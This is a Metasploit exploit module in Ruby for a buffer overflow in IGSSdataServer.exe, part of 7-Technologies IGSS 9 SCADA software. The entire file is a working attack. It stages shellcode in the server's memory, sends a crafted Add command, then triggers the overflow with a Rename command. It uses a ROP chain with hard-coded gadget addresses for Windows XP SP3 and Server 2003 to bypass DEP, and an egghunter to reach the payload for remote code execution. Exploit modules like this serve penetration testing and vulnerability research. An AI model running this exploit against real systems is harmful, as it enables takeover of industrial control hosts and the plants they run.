require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Egghunter
def initialize(info={})
super(update_info(info,
'Name' => "7-Technologies IGSS 9 IGSSdataServer .RMS Rename Buffer Overflow",
'Description'=> %q{
This module exploits a vulnerability found on 7-Technologies IGSS 9. By supplying
a long string of data to the 'Rename' (0x02), 'Delete' (0x03), or 'Add' (0x04) command,
a buffer overflow condition occurs in IGSSdataServer.exe while handing an RMS report,
which results arbitrary code execution under the context of the user.
The attack is carried out in three stages.The first stage sends the final payload to
IGSSdataServer.exe, which will remain in memory.The second stage sends the Add command
so the process can find a valid ID for the Rename command.The last stage then triggers
the vulnerability with the Rename command, and uses an egghunter to search for the
shellcode that we sent in stage 1.The use of egghunter appears to be necessary due to
the small buffer size, which cannot even contain our ROP chain and the final payload.
},
'License'=> MSF_LICENSE,
'Version'=> "$Revision: 12886 $",
'Author' =>
[
'Luigi Auriemma <aluigi[at]autistici.org>',
'sinn3r',
],
'References' =>
[
['URL', 'http://aluigi.altervista.org/adv/igss_5-adv.txt'],
],
'Payload'=>
{
'BadChars'=> "\x00",
'StackAdjustment' => -3500,
},
'DefaultOptions'=>
{
'ExitFunction' => "seh",
},
'Platform' => 'win',
'Targets'=>
[
[
'Windows XP SP3',
{
'Ret'=> 0x1B0938B8,
'RopOffset'=> 68,
'Offset' => 500,
'Max'=> 8000,
}
],
[
'Windows Server 2003 SP2/R2 SP2',
{
'Ret' => 0x1B093622,
'RopOffset' => 76,
'Offset'=> 500,
'Max' => 8000,
}
]
],
'Privileged' => false,
'DisclosureDate' => "Mar 24 2011"))
register_options(
[
Opt::RPORT(12401, false),
]
)
end
def add_template(id)
buf= ''
buf << "\x9b\x00"
buf << "\x01\x00\x34\x12"
buf << "\x07"
buf << "\x00\x00\x00\x00\x00\x00\x00"
buf << "\x01"
buf << "\x00\x00\x00"
buf << "\x04"
buf << "\x00\x00\x00"
buf << id
buf << "\x00"
buf << "\x00"*31
buf << "\x78"
buf << "\x00"*63
buf << "\x78"
buf << "\x00"*28
connect
sock.put(buf)
print_status("Sending ADD command to #{datastore['RHOST']}")
res = sock.recv(1024)
disconnect
return res
end
def inject_payload(my_payload)
buf= ''
buf << "\x01\x00\x34\x12"
buf << "\x0D"
buf << "\x00\x00\x00\x00\x00\x00\x00"
buf << "\x01"
buf << "\x00\x00\x00"
buf << "\x01"
buf << "\x00\x00\x00"
buf << my_payload
buf << Rex::Text.rand_text_alpha(1024-my_payload.length)
buf << "\x00"*130
buf_size = [buf.length + 2].pack('v')
buf = buf_size + buf
connect
sock.put(buf)
print_status("Injecting payload in memory to #{datastore['RHOST']}")
disconnect
end
def junk
return rand_text(4).unpack("L")[0].to_i
end
def sploit_rename(id)
eggoptions =
{
:checksum=> true,
:eggtag=> 'W00T',
:depmethod => 'virtualprotect',
:depreg=> 'esi'
}
hunter, p = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
esi= "\x81\xf6\x16\x1b\x5f\x5e"
esi << "\x3e\x8b\x36"
hunter = esi + hunter
inject_payload(p)
rop= [
:xchg_esp_ebp,
junk,
junk,
junk,
junk,
0x1B76A59E,
0x1B8260DD,
:add_eax_100,
:xchg_eax_ecx,
junk,
junk,
junk,
:pop_eax,
0x3BABFD6D,
0x1B7802A3,
0x1b73f3bd,
:xchg_eax_ecx,
0x1B829E75,
0x1B74C50A,
:xchg_eax_esi,
0x1B8260DD,
junk,
0x1B8260DD,
0x1B8260DD,
0x1B8260DD,
:xchg_eax_ecx,
:mov_eax_esi_pop_esi,
0x5E0B1902,
0x1B829E75,
0x1B74C50A,
0x1B829E75,
0x1B74C50A,
:xchg_eax_ecx,
:pop_eax,
:size_xor,
0x1B7802A3,
:xchg_eax_ecx,
0x1B829E75,
0x1B74C50A,
:xchg_eax_ecx,
:pop_eax,
0x3BFFFF39,
0x1B7802A3,
:xchg_eax_ecx,
0x1B829E75,
0x1B74C50A,
0x1B731395,
0x1B82B410,
0x1B829E75,
0x1B829E86,
:rewind,
0x1B72A833,
]
rop.map! do |gadget|
if gadget == :xchg_esp_ebp
(target.name =~ /xp/i) ? 0x59ABA24B : 0x6D5E2223
elsif gadget == :add_eax_100
(target.name =~ /xp/i) ? 0x1B09FA13 : 0x1B09F6F3
elsif gadget == :xchg_eax_esi
(target.name =~ /xp/i) ? 0x1B0505C1 : 0x1B051B71
elsif gadget == :xchg_eax_ecx
(target.name =~ /xp/i) ? 0x1B02708C : 0x1B02B28D
elsif gadget == :mov_eax_esi_pop_esi
(target.name =~ /xp/i) ? 0x1B03AD44 : 0x1B110735
elsif gadget == :pop_eax
(target.name =~ /xp/i) ? 0x1B0C65B6 : 0x1B0c6169
elsif gadget == :size_xor
(target.name =~ /xp/i) ? 0x3BFFFF01 : 0x3BFFFF1D
elsif gadget == :rewind
(target.name =~ /xp/i) ? 0x1B03D70A : 0x1B03C741
else
gadget
end
end
rop = rop.pack('V*')
sploit= ''
sploit << Rex::Text.rand_text_alpha(target['RopOffset'])
sploit << rop
sploit << Rex::Text.rand_text_alpha(target['Offset']-sploit.length)
sploit << [target.ret].pack('V')
sploit << make_nops(12)
sploit << hunter
sploit << Rex::Text.rand_text_alpha(target['Max']-sploit.length)
pkt= "\x00\x04"
pkt << "\x01\x00\x34\x12"
pkt << "\x07"
pkt << "\x00\x00\x00\x00\x00\x00\x00"
pkt << "\x02"
pkt << "\x00\x00\x00"
pkt << "\x02"
pkt << "\x00\x00\x00"
pkt << id
pkt << "\x00"
pkt << sploit
connect
print_status("Sending malicious request to #{datastore['RHOST']}")
sock.put(pkt)
handler
select(nil, nil, nil, 3)
disconnect
end
def exploit
id = Rex::Text.rand_text_alpha(8)
res = add_template(id)
if res !~ /Report/i
print_error("Failed to add template:#{res}")
return
end
sploit_rename(id)
end
end